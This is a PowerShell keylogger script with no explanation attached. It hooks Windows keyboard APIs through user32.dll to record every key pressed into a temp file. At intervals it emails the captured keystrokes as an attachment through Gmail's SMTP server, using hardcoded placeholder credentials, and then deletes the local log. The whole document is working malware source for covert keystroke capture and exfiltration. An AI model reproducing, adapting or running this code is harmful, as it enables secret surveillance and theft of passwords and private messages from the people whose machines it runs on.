key

  $TimesToRun = 2
  $RunTimeP = 1

  $TimeStart = Get-Date
  $TimeEnd = $timeStart.addminutes($RunTimeP)

  function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  {
    # Signatures for API Calls
    $signatures = @'
  [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  public static extern short GetAsyncKeyState(int virtualKeyCode);
  [DllImport("user32.dll", CharSet=CharSet.Auto)]
  public static extern int GetKeyboardState(byte[] keystate);
  [DllImport("user32.dll", CharSet=CharSet.Auto)]
  public static extern int MapVirtualKey(uint uCode, int uMapType);
  [DllImport("user32.dll", CharSet=CharSet.Auto)]
  public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  '@

    # load signatures and make members available
    $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

    # create output file
    $null = New-Item -Path $Path -ItemType File -Force

    try
    {

      # create endless loop. When user presses CTRL+C, finally-block
      # executes and shows the collected key presses
      $Runner = 0
    while ($TimesToRun  -ge $Runner) {
    while ($TimeEnd -ge $TimeNow) {
        Start-Sleep -Milliseconds 40

        # scan all ASCII codes above 8
        for ($ascii = 9; $ascii -le 254; $ascii++) {
          # get current key state
          $state = $API::GetAsyncKeyState($ascii)

          # is key pressed?
          if ($state -eq -32767) {
            $null = [console]::CapsLock

            # translate scan code to real code
            $virtualKey = $API::MapVirtualKey($ascii, 3)

            # get keyboard state for virtual keys
            $kbstate = New-Object Byte[] 256
            $checkkbstate = $API::GetKeyboardState($kbstate)

            # prepare a StringBuilder to receive input key
            $mychar = New-Object -TypeName System.Text.StringBuilder

            # translate virtual key
            $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)

            if ($success)
            {
              # add key to logger file
              [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
            }
          }
        }
      $TimeNow = Get-Date
      }
      $EmailTo = "xx@gmail.com"
      $EmailFrom = "xx@gmail.com"
      $Subject = "Keylogger Results"
      $Body = "Keylogger Results"
      $SMTPServer = "smtp.gmail.com"
      $filenameAndPath = "$env:temp\keylogger.txt"
      $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom,$EmailTo,$Subject,$Body)
      $attachment = New-Object System.Net.Mail.Attachment($filenameAndPath)
      $SMTPMessage.Attachments.Add($attachment)
      $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
      $SMTPClient.EnableSsl = $true
      $SMTPClient.Credentials = New-Object System.Net.NetworkCredential("xxx@gmail.com", "xxx$%");
      $SMTPClient.Send($SMTPMessage)
      Remove-Item -Path $Path -force
    }
    }
    finally
    {
      exit 1
    }
  }

  # records all key presses until script is aborted by pressing CTRL+C
  # will then open the file with collected key codes
  Start-KeyLogger